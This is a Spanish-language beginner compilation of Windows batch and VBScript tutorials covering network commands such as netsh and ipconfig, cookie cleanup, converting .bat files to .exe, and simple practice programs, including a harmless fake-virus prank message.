You are on page 1of 87

Códigos para crear aplicaciones, archivos

batch y scripts para usar en internet y


otras redes

Recopilación de códigos para emplear en trabajos de redes, Como crear aplicaciones


ejecutables, archivos batch y scripts para facilitar la ejecución de tareas y solucionar
conflictos en conexiones de redes. Comandos disponibles en Windows para redes.

Códigos para crear tus propias


aplicaciones o para ejecutarlos introduciéndolos directamente en la Windows.
Códigos para hacer sencillos scripts y archivos batch que permiten realizar multitud de
tareas y funciones útiles en el trabajo de redes.
Sencilla recopilación que se actualiza regularmente donde quizás podrás encontrar
códigos que te sean de utilidad o simplemente probar su funcionamiento por curiosidad.
Reglas y elementos básicos, para que los que no posean ningún conocimiento de
programación, puedan crear sus aplicaciones que le ayuden en el uso diario de sus
equipos en internet u otras redes.
Los códigos en esta página pueden resultar de mucha utilidad para realizar diversas
tareas de forma sencilla y agilizar las que son necesarias de ejecutar regularmente.
Con ellos también se evita la instalación de programas de forma innecesaria, que
frecuentemente entorpecen y ocasionan conflictos con el sistema operativo.

¿Que son los comandos?

Los comandos son términos específicos o instrucciones dirigidas a aplicaciones dentro


de Windows.
Se introducen de varias formas, mediante la consola de CMD, el comando Ejecutar o en
el cuadro de Inicio. Este se muestra en la esquina inferior izquierda del escritorio en
Windows 7, al dar un clic en el botón de Inicio o presionar la tecla Windows.
¿Que son los scripts?

Son archivos de texto que contienen comandos o porciones de códigos de distintos


lenguajes, (MSDOS, VBScript, Powershell, etc.).
Windows los reconoce y los diferencia por las extensiones de archivo que poseen y
ejecuta el código contenido en ellos, es decir con los scripts es posible ejecutar varias
instrucciones consecutivamente, solo dando dos clics en dicho archivo.

¿Cómo usar los códigos y los comandos que aparecen en esta página?

Los códigos y los comandos que se muestran en esta página se pueden utilizar de varias
formas:
➔ Introducirlos directamente ya sea en la consola de CMD, el cuadro de Inicio o en la
herramienta Ejecutar y presionar la tecla Enter.
➔ Escribirlos en un archivo de texto plano y guardarlo con la extensión de archivo
adecuada (.cmd, .bat, .vbs), lo que hará que se conviertan en aplicaciones ejecutables,
que al dar dos clics en ellas, Windows iniciará la tarea indicada

¿Cómo ejecutar directamente los códigos escritos en MSDOS?

En el caso de los que están en lenguaje MSDOS, se pueden introducir directamente en


la ventana de CMD o en el cuadro de Inicio, siempre antecedido por: CMD /K.
Un ejemplo, copia y pega en Inicio y presiona Enter:
CMD /K echo Hola %username%
Un ejemplo de este método puede verse en la siguiente imagen

En Windows 8 no es está disponible el cuadro de Inicio, es necesario abrir la consola de


CMD o la herramienta Ejecutar.
Para abrir la herramienta Ejecutar usa las teclas Windows + R.

¿Cómo crear un archivo batch copiando y pegando el código?

Crear un archivo batch ejecutable con el código en lenguaje MSDOS es sencillo, sigue
el siguiente método paso a paso:

• Copia el código al Bloc de notas de Windows


• En Menú selecciona: "Guardar como."
• En la pestaña Tipo escoge: "Todos los archivos"
• Escribe en Nombre el nombre que quieras asignarle seguido de la extensión de archivo
.cmd o .bat.
• Asegúrate que el archivo creado no termine en .txt y que tome el icono de una rueda
dentada característico de los batch.

Plantilla para crear un archivo batch

@echo off
COLOR 0E
mode con cols=50 lines=20

Aquí copias el código


Pequeña y sencilla plantilla para hacer fácilmente un archivo batch.
La primera línea mantenla siempre, la segunda permite especificar el color de fondo y el
del texto, la tercera línea establece el tamaño de la ventana, o sea el número de
columnas y el de filas.
Es opcional al final agregar la línea PAUSE, para comprobar si en su ejecución genera
algún error.
El código de los colores y toda la información adicional necesaria si estas interesado en
el tema puedes leerla en la siguiente página:
◄ Tutorial y guías para crear comandos y batch.

¿Cómo crear un script en lenguaje VBScript copiando y pegando el código?

Crear un script ejecutable con el código escrito en lenguaje VBScript, es similar al


método empleado para crear un archivo batch.
La diferencia es que el archivo creado tiene que tener la extensión .vbs.
Adoptará un icono diferente al batch y al dar dos clics lo ejecutará Windows Script
Host.

Código de ejemplo para crear un script VBS.


Con el siguiente código puede crearse un script, que abrirá el comando IPCONFIG
/ALL o cualquier otro que se especifique, recuerda guardar el archivo creado con la
extensión: .VBS
Set objShell = CreateObject("WScript.Shell")
strCommand = "cmd /k IPCONFIG /ALL"
objShell.Run strCommand, 1

Códigos para crear archivos batch para usar en redes

Reiniciar el explorador
Archivo batch para reiniciar el explorador de Windows en caso de un bloqueo.
@echo off
TASKKILL /F /IM explorer.exe
timeout /nobreak 04
start explorer.exe

Cerrar los programas que no responden


@echo off
taskkill.exe /f /fi "status eq Not Responding"
pause

Eliminar cookies
Para borrar las cookies almacenadas, útil para impedir que te identifiquen en un sitio
web.
En Windows XP usa:
@echo off
del "C:\Documents and Settings\%username%\cookies\"*.* /S /Q /F
for /D %%a in ("C:\Documents and Settings\%username%\cookies\"*.*) do
rmdir "%%a" /S /Q
pause

En Windows 7 o Vista
@echo off

cd %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies
DEL *.* /S /F /Q /A R H S A
Pause

Reinstalar el protocolo TCP/IP


TCP/IP es un componente principal de Windows, no puedes desinstalarlo pero si
restaurarlo a su estado inicial.
Para Windows XP usa:
@echo off
netsh int ip reset resetlog.txt

Para Vista-7
@ echo off
NETSH INTERFACE IPV4 RESET

Asignar una dirección IP estática


Asignar una dirección IP estática a una conexión llamada Wifi:
@echo off
Netsh interface ip set address name="Wifi" source=static
addr=192.168.0.2 mask=255.255.255.0 gateway=192.168.0.1 gwmetric=1

Asignar una dirección IP dinámica


Asignar una dirección IP dinámica (DHCP) a una conexión llamada Wifi:
@echo off
Netsh interface ip set address name="Wifi" source=dhcp

Resetear la direccion IP dinámica


Libera el o los adaptadores de red y a continuación renueva la dirección IP.
@echo off
IPCONFIG /release *
IPCONFIG /renew *

Cambiar con NETSH los servidores DNS


En Windows Vista o 7
@echo off
NETSH INTERFACE IPV4 SET DNSSERVERS "Conexión de área local" static
8.8.8.8 primary

En Windows XP
@echo off
netsh interface ip set dns "NombredeConexion" static 8.8.8.8

Asignar dos servidores DNS (primario y secundario) a una conexión llamada Red1
Netsh interface ipv4 add dns "Red1" 10.0.0.1
Netsh interface ipv4 add dns "Red1" 10.0.0.3 index=2
En los comandos no se pueden utilizar los acentos, la letra Ñ u otros caracteres
especiales de nuestro lenguaje, por lo que si usas el tradicional: "Conexión de área
local", recibirás un error.
Una solución es cambiar previamente el nombre a la conexión por otro sin los acentos.
La otra solución es sustituir los caracteres en el archivo batch por los necesarios,
conócelos en la siguiente página: Insertar caracteres especiales en archivos batch
Comandos para usar en redes

Windows proporciona diversos comandos que se pueden usar directamente para realizar
varias tareas, un grupo de ellos nos facilitan las tareas en redes.
Entre estos comandos están NET, NETSH, IPCONFIG y muchos otros, sobre los cuales
hay bastante información en otras páginas de este sitio.
Para usarlos solo es necesario escribirlos o pegarlos directamente en el cuadro de Inicio
o en el comando Ejecutar y presionar la tecla Enter.
Lógicamente, también se pueden emplear en archivos batch o scripts.

Mostrar la configuración actual de TCP/IP


netsh interface ip show config

Deshabilitar la configuración automática de red


Algunos routers y otros dispositivos funcionan mejor así.
netsh interface tcp set global autotuning=disabled

Habilitar la configuración automática de red


netsh interface tcp set global autotuning=normal

Conocer dirección IP asignada al equipo


ipconfig|FINDSTR "Dirección IPv4"

Conocer dirección IP externa del equipo


Mostrar la dirección IP externa asignada al equipo (es necesario tener WGET instalado
en el equipo, o el ejecutable donde se ejecuta el comando o archivo batch)
wget -q -O - http://norfipc.com/test/ip.php
Lee la pagina: ◄ Usar WGET en Windows

Mostrar el Servidor DNS primario


ipconfig /all|FINDSTR /C:"Servidores DNS"

Mostrar dirección IP de la puerta de enlace


La puerta de enlace en redes, es el equipo que provee la internet o al que se conecta en
una red local.
netsh interface ip show config|FINDSTR /C:"Puerta de enlace
predeterminada"

Mostrar la máscara de subred


netsh interface ip show config|FINDSTR /C:"Prefijo de subred"

Como convertir los archivos batch y bat


en aplicaciones ejecutables EXE
Descargar gratis un sencillo programa que permite convertir los batch, scripts e incluso páginas
web completas en archivos exe. Crear aplicaciones ejecutables para compartir y distribuir tus
archivos batch y así evitar que copien o roben el código que utilices o que los modifiquen
intencionalmente.

Los archivos batch son las únicas aplicaciones que pueden ser
creadas en Windows por cualquier usuario, aun sin tener conocimiento alguno de informática
o de programación.
Como puedes conocer en otras páginas de este sitio, solo es necesario el Bloc de notas de
Windows y algún comando o instrucción para la consola de CMD, que lo ejecutará.
Mediante los archivos batch podemos crear aplicaciones con las cuales hacer infinidad de
tareas, ejecutar programas, extraer información, abrir páginas web, es decir casi cualquier
acción en Windows.
La gran desventaja de los archivos batch, es precisamente que a causa de esta misma sencillez
y simplicidad de sus estructura, cualquiera lo puede modificar, solo es necesario arrastrarlo al
Bloc de notas u otro editor de texto.
Esto se vuelve un inconveniente si nos gusta compartir en la red con amigos, los archivos batch
que logramos crear y nos sentimos orgullosos de su funcionamiento, por esa razón cualquiera
de ellos los puede modificar fácilmente, incluso copiar y robar el código empleado y atribuirse
la autoría, ademas agregar código que cambie completamente su funcionamiento.

Convertir los archivos batch en ejecutables

Una forma de evitar que nuestros archivos batch puedan ser modificados, es convertirlos en
archivos EXE, es decir en aplicaciones que al ejecutarlas realicen la misma función y no puedan
ser editadas.
Las ventajas son varias:
1- No se podrán modificar con el editor de texto de la misma forma que los batch al dar clic
derecho, lo que impedirá que se deterioren de forma accidental.
2- En caso de que para la ejecución del batch, se utilicen archivos auxiliares como imágenes,
iconos, archivos de texto etc. se podrán agruparlos y encapsularlos todos en un unico archivo
exe (ejecutable) creado.
3- Será imposible ver el código utilizado en su creación.
4- Te burlarás de los que siente aversión (injustificada) contra los archivos BAT. Otras ventajas
como comprobarás mas adelante.

Como crear una aplicación EXE

El nombre EXE es la abreviatura en ingles de executable, son aplicaciones que contienen


instrucciones que Windows puede leer, no funcionan en otros sistemas operativos como Linux.
Para crear una aplicación EXE es necesario tener un programa que realice dicha tarea, para eso
se emplean los llamados compiladores.
Los compiladores traducen el código fuente a código objeto, son usados por profesionales y
desarrolladores que crean aplicaciones y programas.
Generalmente son difíciles de utilizar, no obstante existen herramientas que permiten
convertir cualquier archivo batch a un ejecutable EXE de forma sencilla.

Herramientas para transformar un archivo batch en EXE

Bat To Exe

Bat To Exe es una sencilla aplicación freeware (gratis) creada precisamente para ese fin,
permite crear un exe desde un archivo con la extensión BAT o CMD.
Aunque está en inglés, posee una interface que hace que crear un ejecutable sea algo sencillo.
Úsalo de la siguiente forma:

• Ejecuta Bat2Exe y usa el botón Browse (Escoger) que se encuentra en la parte superior
derecha, para indicar la ruta al archivo batch.
• De forma predeterminada en el mismo directorio se guardará la aplicación exe creada, si
deseas darle otro nombre u otra ubicación, especifícalo en el cuadro Save as (Guardar como).
Todas las opciones en la pantalla principal son opcionales:

✓ Visibility. Se ejecutará la aplicación creada de forma visible u oculta.


✓ Temporary files. Se especifica si los archivos temporales deben ser eliminados al cerrar la
aplicación.
✓ Working directory. Permite especificar si los archivos temporales necesarios, se crearán en
el mismo directorio donde se ejecute la aplicación creada o en el directorio TEMP
predeterminado de Windows.
✓ Encryption. Permite asignarle una contraseña, indispensable para la ejecución del archivo
exe creado.

• En la pestaña Versioninformation, es posible asignarle un icono a la aplicación creada, así


como incluir en ella toda la información necesaria, que se mostrará en la ficha Propiedades.
Es posible incluir los siguientes datos: Producto, Descripción, Versión, Compañía, Copyright,
etc.
• Finalmente para crear la aplicación presiona el botón: "Compile".

Puedes auxiliarte de la imagen para comprender como utilizar la aplicación.

Convertir una página web en un ejecutable EXE

El programa Bat To Exe también puede ser utilizado para convertir una página web, con todos
los elementos necesarios, en un archivo ejecutable.
Es una opción muy útil, ideal para enviar o compartir páginas web completas, evitando los
conflictos que surgen al comprimir una página para enviar por el email ya que en ocasiones el
que la recibe no tiene el software necesario para descomprimirla o no sabe cómo hacerlo.
Para lograrlo el único requisito es crear un archivo batch en el mismo directorio, que inicie la
página web necesaria.
Hazlo de la siguiente forma:

• Copia el siguiente código al bloc de Notas de Windows y guarda el archivo creado con el
nombre: "pagina.cmd"
@echo off

start pagina.html

• Sustituye pagina.html por el nombre exacto de la página web.

Si necesitas que la página web se abra con un navegador especifico, entonces en el archivo
batch indícalo con una de las siguientes opciones:

start firefox.exe aa.html (abre la página solo con Firefox)


start iexplore.exe aa.html (abre la página solo con Internet Explorer)
start chrome.exe aa.html (abre la página solo con Google Chrome)

Al iniciar Bat2Exe para crear la aplicación, es necesario en la pestaña Include agregar con el
botón Add, todos los elementos de la página como imágenes, archivos CSS si existe alguno,
scripts y otros, incluyendo la propia página.

Al compilar será creado un archivo exe, con todos los elementos comprimidos en su interior.
Al ejecutarse dicha aplicación, previamente serán descomprimidos todos al directorio actual o
a la carpeta TEMP en Windows, si así se especificó.

Convertir un script VBS en ejecutable EXE

De una forma similar a la anterior, puede convertirse un script creado en el lenguaje VBScript,
en un archivo ejecutable.
Solo es necesario en este caso crear un archivo batch que inicie el script.
Crea el archivo batch de la siguiente forma:

• Copia el siguiente código al bloc de Notas de Windows y guarda el archivo creado con el
nombre: script.cmd

@echo off
start script.vbs

• Sustituye script.vbs por el nombre exacto del script.

No te olvides de incluir dicho archivo en la pestaña Include.

Descargar la aplicación Bat2Exe

Bat2Exe es una aplicación ejecutable, no es necesaria instalar en el sistema, también puede


utilizarse de forma portable.
Descargala desde el siguiente vínculo o accede al sitio web de su autor en:
http://www.f2ko.de/

Descargar Bat2Exe

Usar IExpress en Windows para crear un ejecutable

Windows incluye una herramienta llamada IExpress.


Comprime todos los archivos necesarios para que funcione una aplicación y los agrupa en un
archivo ejecutable de extensión EXE.
Puedes con ella crear un archivo exe con un archivo batch o varios que funcionen
encadenados.
Para iniciarla escribe en el cuadro de Inicio o en Ejecutar: iexpress y presiona la tecla Enter.
Escoge la opción: "Crear nuevo archivo extractor" y sigue los pasos del asistente.
No ofrece las mismas opciones de la aplicación Bat To Exe, pero es otra alternativa factible de
utilizar.

Utilizar WinRAR o 7z para crear un ejecutable

Con cualquiera de los populares programas de compresión de archivos WinRAR y 7z, puede
convertirse un archivo batch u otro script en ejecutable, se hace comprimiendo el o los
archivos necesarios en un único archivo, usando la opción de SFX (auto-extraíble).
El resultado es completamente funcional, la gran desventaja es que cualquiera que tenga
instalados los programas anteriores en su sistema, puede descomprimir el archivo EXE creado
y extraer los archivos de su interior, solo dando un clic derecho y usando la opción de "Extraer
aquí", pero no obstante si eso no constituye una desventaja para ti puedes utilizar el método.
Para conocer más sobre cómo utilizar esta función, con todos los pasos necesarios, lee la
siguiente página en la que se explica en detalle:
Como crear una aplicación o programa portable en Windows

Otras aplicaciones gratis en internet para crear ejecutables

AutoIt es otra opción disponible para convertir archivos batch y otros scripts en ejecutables,
accede a su página de descargas y escoge la opción que prefieras ya sea un instalador o un
ejecutable comprimido, incluye un editor para los scripts.
http://www.autoitscript.com/site/autoit/downloads/

Como crear tus propios iconos para tus aplicaciones

Los iconos son archivos de imagen con la extensión ICO, son muy usados en Windows como
referencia de las aplicaciones, programas, juegos, páginas web etc.
Se usan de tamaños diferentes, 16, 32, 64 o 124 pixeles.
Después de la salida de Windows Vista, es posible utilizar vistosos iconos de 256 pixeles de
tamaño en el Escritorio.
El programa más popular para crear y editar los iconos es Microangelo Studio, pero es
software propietario, o sea de pago.

Una alternativa es crear una imagen para el icono en


programas como Paint, incluido en Windows o Gimp que es software libre y después
convertirla a icono usando la aplicación MIcon que puedes descargar gratis en otra página de
este sitio.
MIcon convierte imágenes del formato JPG, PNG o BMP en ICO, permite crearlos en 64, 128 o
256 pixeles de tamaño.
Usarlo es sencillo, solo es necesario arrastrar y soltar la imagen encima de la aplicación y será
creado el icono automáticamente, en el tamaño que se especifique.
Accede a la siguiente página para descarga la aplicación MIcon: Aplicaciones y programas útiles
para la PC

Los pequeños iconos usados en las páginas web, que se muestran a la izquierda de la dirección
URL, son llamados favicon, son simples iconos de 16px de tamaño.

------------------------------------------------------------------------------------------------------------------------------

Trucos, consejos y ejemplos para crear


archivos batch

Algunos trucos, consejos, ejemplos para crear, editar y personalizar los archivos batch.
Solucionar problemas y conflictos de su uso. Continuación del tutorial de comandos y archivos
batch, curiosidades, bromas, anexos.

Después de haber leído en una página anterior, el tutorial que introduce al mundo de la
creación de los archivos batch, en este artículo podrás encontrar más información relacionada,
que te será útil y te ayudará en la edición y creación de estas aplicaciones.
Encontrarás varios trucos para agregarle funcionalidad y personalizarlos a tu manera.
También podrás crear algunos archivos copiando y pegando algunos códigos de ejemplos
prácticos.
Espero que te resulte interesante esta página.
Trucos útiles al crear nuestros archivos batch

Como crear saludos en los archivos batch

Un poco para impresionar a los ingenuos o personas con pocos conocimientos, o simplemente
hacer que se inicien tus aplicaciones de manera afable al hacer tus archivos batch puedes
incluir el nombre del usuario en la introducción, saludo o inicio del archivo batch de la
siguiente forma:
@echo off
echo Bienvenido %username%, deseas continuar?
pause>nul

Como mostrar mensajes en los archivos batch

En la página anterior se mostraba la forma básica de mostrar mensajes en los archivos batch:
msg * aquí va el texto del mensaje
pero el resultado es un poco seco.
Los scripts hechos en lenguaje VBScript ofrecen mensajes más expresivos, asi que es posible
encadenar dos archivos de la siguiente forma.
Crear un archivo batch que escriba un script de forma temporal y a continuacion ejecutarlo,
parece difícil pero es algo sencillo. Pruébalo con el siguiente código:
@echo off
echo MsgBox "Escribir un script y despues llamarlo.", 64, "NorfiPC"
>%temp%\mensaje.vbs
start %temp%\mensaje.vbs
Como ves tiene un estilo algo diferente con un icono, titulo y hasta con sonido. Solo tienes que
insertar el texto que quieres se muestre en el mensaje y en el título que tendrá la ventana en
la parte superior.
Los scripts creados de esta forma se almacenarán en la carpeta Temp donde no causarán
molestias y serán eliminados al ejecutar cleanmgr.exe.
De la misma forma anterior puedes generar mensajes con iconos y sonidos diferentes
utilizando las siguientes líneas:
MsgBox "mensaje con icono de Error",0, "Error"
MsgBox "mensaje con icono de Error",16, "Error"
MsgBox "mensaje con icono de interrogacion",32, "Interrogacion"
MsgBox "mensaje con icono de advertencia",48, "Advertencia"
MsgBox "mensaje con icono de informacion",64, "Información"
MsgBox "mensaje con icono de Aplicacion",4096, "Aplicacion"

Como encadenar los archivos batch con scripts


Al encadenar archivos batch con scripts de la forma anterior, podemos ampliar y enriquecer las
posibilidades de realizar acciones diferentes con los batch ya que los scripts tienen más
recursos a su disposición.
Los ejemplos siguientes aprovechan el método SendKeys, con el cual es posible enviar ordenes
al teclado de la misma forma que si lo hiciéramos físicamente, son solo dos ejemplos pero se
pueden hacer infinidad de cosas diferentes.
El primero envía la combinación Control+Shift+Escape con lo que se inicia el Administrador de
tareas.
El segundo la tecla F3 con lo que se abre la herramienta Buscar de Windows. Pruébalos.
@echo off
echo set WshShell = WScript.CreateObject("WScript.Shell")
>%temp%\tskm.vbs
echo WshShell.SendKeys "^+{ESC}" >>%temp%\tskm.vbs
start %temp%\tskm.vbs
echo set WshShell = WScript.CreateObject("WScript.Shell")
>%temp%\buscar.vbs
echo WshShell.SendKeys "{F3}" >>%temp%\buscar.vbs
start %temp%\buscar.vbs

Como cambiar el icono que muestran los archivos batch

En Windows de forma predeterminada, los archivos batch de extensión .CMD, al igual que los
bat de extensión .BAT, muestran el mismo icono de las dos ruedas.
Es posible utilizar otro icono, para eso es necesario modificar la clave del registro donde se
especifica el valor.
La clave del registro que contiene la información sobre los archivos batch es la siguiente:

HKEY_CLASSES_ROOT\cmdfile\DefaultIcon

y el valor, o sea la ruta al icono utilizado de forma predeterminada es:

%SystemRoot%\System32\imageres.dll,-68

Puedes emplear algunos de los iconos que se utilizan para los ejecutables exe solo dando dos
clics en el valor predeterminado y pegando una de las siguientes rutas:

%SystemRoot%\System32\imageres.dll,-15
%SystemRoot%\System32\imageres.dll,-87

De la misma forma puedes emplear cualquier otro icono solo insertando la ruta necesaria, en
la librería imageres.dll se almacenan multitud de iconos en los que escoger.
Si no sabes cómo verlos y extraerlos lee la siguiente página: Información sobre el contenido de
las librerías dll en Windows 7
Es posible modificar la clave indicada usando la línea de comandos, para eso utiliza el siguiente
código en un archivo batch o introduciéndolo directamente en la consola, Inicio o Ejecutar.
REG ADD HKEY_CLASSES_ROOT\cmdfile\DefaultIcon /ve /t REG_EXPAND_SZ /d
C:\Windows\System32\imageres.dll,-15 /f
Usar la línea de comandos para realizar modificaciones al Registro de Windows es peligroso,
cualquier equivocación en un carácter puede ser desastroso, por lo que te aconsejo realizarlas
con cautela y solo si posees conocimientos básicos en la edición del Registro.

Después que hagas la modificación indicada es necesario reiniciar la PC o sencillamente


reiniciar explorer.exe, para que se hagan efectivos los cambios, si no sabes cómo crea un
archivo batch con el siguiente código y ejecútalo:
@ECHO OFF
TASKKILL /F /IM explorer.exe
timeout /nobreak 04
start explorer.exe
También puedes reiniciar el explorador de otra manera, copia el siguiente código, pégalo
directamente en el cuadro de Inicio o Ejecutar y oprime Enter:
CMD /C TASKKILL /F /IM explorer.exe & timeout /nobreak 04 & start
explorer.exe

Restaurar la asociación de los archivos batch (cmd) y bat (bat)

Windows utiliza las extensiones de archivos para conocer qué tipo de información contienen y
por lo tanto con que programas es necesario ejecutarlos, en ocasiones esta asociación se
deteriora por diversas causas y entonces los archivos se muestran con un icono de archivo
desconocido y al dar dos clics en ellos se abre el cuadro de dialogo donde escoger el programa
necesario parar abrirlos.

Para restaurar la asociación de los archivos batch de extensión de archivo cmd, abre una
ventana de comandos y pega lo siguiente y oprime Enter:
assoc .cmd
debe devolver lo siguiente: .cmd=cmdfile
si no es asi escribe:
assoc .cmd=cmdfile

Para restaurar la asociación de los archivos bat de extensión de archivo bat, abre una ventana
de comandos, pega lo siguiente y oprime Enter:
assoc .bat
debe devolver lo siguiente: .bat=batfile
si no es asi escribe:
assoc .bat=batfile

Más información sobre la asociación de archivos en la siguiente página:


◄ Como reparar y restaurar las asociaciones de archivos en Windows 7.

Como convertir los archivos batch en exe


Después de crear tus propios archivos batch para facilitar las tareas que realizas, si deseas
publicarlos o compartirlos con tus amigos, tienes la opción de convertirlos previamente en
archivos ejecutables EXE.
De esta forma conseguirás que nadie pueda modificarlos, los batch tienen la característica de
que cualquiera puede alterar su código, solo agregando unas líneas con el modesto Bloc de
notas.
Convertir un archivo batch o bat exe es algo sencillo, lee en la siguiente página como hacerlo y
descarga gratis la aplicación necesaria:
Como convertir los archivos batch y bat en aplicaciones ejecutables EXE

Como insertar letras con acentos y caracteres especiales en los archivos


batch

En los archivos batch para representar letras que llevan acentos, la ñ y otros caracteres
especiales propios del idioma español y que se muestren correctamente en la consola de cmd
al ejecutarse el batch, se requiere usar el método de los códigos alt. Lee como hacerlo en la
siguiente página: Como usar los caracteres especiales mediante el teclado en Windows.

Consejos, sugerencias y ejemplos para la creación de archivos batch

Usar los comodines en archivos batch

El signo asterisco * remplaza cadenas de caracteres.


Por ejemplo, usando DIR *.txt especificas que se listen todos los archivos en ese directorio
con la extensión .txt.
El signo de interrogación ? remplaza pero solo un carácter. Podemos especificar mas signos de
interrogación. Con lo que si especificamos dir s???*.* nos listaría los directorios y archivos
con un nombre que empiecen por s y otras 3 letras cualquiera mas unos carácter cualquiera, a
continuación él * que hace que se listen archivos con cualquier extensión.

Ejemplos sencillos de archivos batch para practicar

Archivo batch para mostrar información del usuario y el equipo

Código de ejemplo que muestra cómo obtener información del usuario y mostrarla usando un
archivo batch.
Para usarlo, al igual que los siguientes códigos, cópialo, pégalo en un archivo de texto y
guárdalo con cualquier nombre, pero que tenga la extensión de archivo CMD.
@echo off
color 07
echo Esto es un ejemplo de archivo por lotes
pause
cls
echo La Fecha y Hora
pause>nul
cls
date /t
time /t
pause>nul
cls
echo Cambiemos el color
pause>nul
color 1E
cls
echo Quien eres tu
pause>nul
cls
echo %username%
pause>nul
echo Tus tareas en ejecucion
pause>nul
tasklist
pause>nul
cls
echo Informacion de tu sistema
systeminfo
pause>nul
CLS
echo En que directorio estas
pause>nul
cls
echo %CD%
pause>nul
echo Parece que tienes un virus
pause>nul
@echo off
echo
echo.
echo
echo
echo.
echo
echo.
pause>nul
echo Es solo una broma
pause>nul
exit

Ejemplo del uso interactivo del comando SET

@echo off
title Nombre y apellidos
set/p nombre=Escribe tu nombre y oprime Enter.
set/p apellido=Escribe tu primer apellido?
set/p apellido2=Escribe tu segundo apellido?
echo.
echo Tu nombre completo es %nombre% %apellido% %apellido2%
pause >nul
exit
Archivo batch para calcular promedio

Ejemplo de un sencillo cálculo matemático, calcular el promedio de dos números.


@echo off
title Hacer media de dos numeros
set/p num1=Cual es el primer numero?
set/p num2=Cual es el segundo numero?
set/a media= (%num1% + %num2%) / 2
echo.
echo La media es %media%
pause >nul
exit

Archivo batch para calcular promedio 2

Otro ejemplo de calcular el promedio, en este caso entre varios números.


@echo off
title Hacer media de dos numeros
:principio
set/p cant=Entre cuantos numeros quiere hacer la media?
set/a contador=%cant%
set total=0
if %cant% LSS 2 (goto mal) else (goto pregunta)
:mal
echo Debe indicar un numero mayor o igual que 2
goto principio
:pregunta
set/p num=Escriba uno de los %cant% numeros
set/a total=%total%+%num%
set/a contador=%contador%-1
if not %contador% == 0 (goto pregunta)
set/a media= %total% / %cant%
echo.
echo La media es %media%
pause >nul
exit

Archivo batch para operaciones matemáticas

Otro ejemplo de una sencilla operación matemática.


@echo off
title Division de dos numeros
set/p uno=Escriba el numerador
:denominador
set/p dos=Escriba el denominador
if %dos%==0 (goto nosepuede) else (goto dividir)
:nosepuede
echo El denominador no puede ser cero.
goto denominador
:dividir
set/a tres=%uno%/%dos%
echo El resultado de %uno%/%dos% es %tres%
pause>nul
exit
Archivo batch para crear un bucle

Un bucle de ejemplo, es decir la repetición infinita, en este caso de dos líneas.


@echo off
title Bucle de ejemplo
color 0A
:bucle
echo
1001010010010100100101001010010010100100101001010010010100100101001010
010010
echo
0110101101101011011010110101101101011011010110101101101011011010110110
101101
goto bucle
exit

____________________________________________________________________________

Capitulo Uno
MI PRIMER PROGRAMA .BAT

En este primer capitulo crearemos nuestro primer programa, usando los comandos mas
basicos de la programcion en batch.

Abran el bloc de notas.


A continuacion escrivan

Código:

@echo off

Asi sera como empesemos siempre el programa


A continuacion escriviremos es titulo del programa, para ello pondremos title seguido de su
titulo, ejemplo:

Código:

@echo off
title mi primer programa txshack

De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack"

Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo
apunten en un papel para tenerlos siempre presentes.

echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el
word
echo este sirve para mostrar un mensaje en el programa

rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo
se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse
para acer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la
introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)

pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el
programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo
preguntara, es decir, daremos una tecla y continuara.

exit esta sirve para acabar el programa, para salir de el....

Bien una vez dicho esto, podremos crear nuestro primer programa.
Abran el bloc de notas si aun no lo han echo y escriban..

Código:

@echo off
title mi primer programa txshack
echo.
echo comentario
echo.
pause
echo.
echo este es mi primer programa jejeje siiiiii
pause > nul
rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion
exit

Aora le dan a guardar como y lo llaman por ejemplo 1?‚ºprogramacontxshack.bat o lo que


quieran, pero deve ser loquesea.bat

Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con
una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!

Despues intenten entender el codigo, y veran lo sencillo que es...

En el proximo capitulo les ense?are como hacer que el programa te aga preguntas y tu
responderlas...etc

No se impacienten!! jeje
Espero que les ayude.

CAPITULO 2: LAS VARIABLES

Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no?
Ahora pasaremos a las variables.
Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo
referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.

Código:

@echo off
title ejemplos
set var=capullo
echo eres un %var%
pause

Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he
llamado ejemplos. (asta aki ya lo sabian no)
a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando
ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos
muestra, eres un capullo jejeje, esto es un ejemplo, vean.

han visto no asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q
empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras,
menten entre %% la palabra seguida de set, de esta forma %unapalabra%

por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo...
Benga, les ago el ejemplo...

Código:

@echo off
title ejemplo4
set/p nombre= ?como te llamas?
echo.
pause
echo.
set/p edad= ?y cuantos a?os tienes?
echo.
pause
echo.
set/p vive= ?y donde vives?
echo.
pause
cls
echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%
echo.
pause > nul
exit
han visto no si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a
copiar y pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte
de ello y coger soltura

Y bueno, si se an quedado con esto... por oy ya es bastante...

Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar
el color a la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y
letra (color de letras y de fondo)... prueven....

CODIGO DE COLORES:
0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Prpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro
A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Prpura claro
E = Amarillo claro
F = Blanco brillante

Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores

Código:

@echo off
title ejemplo4
color 5e
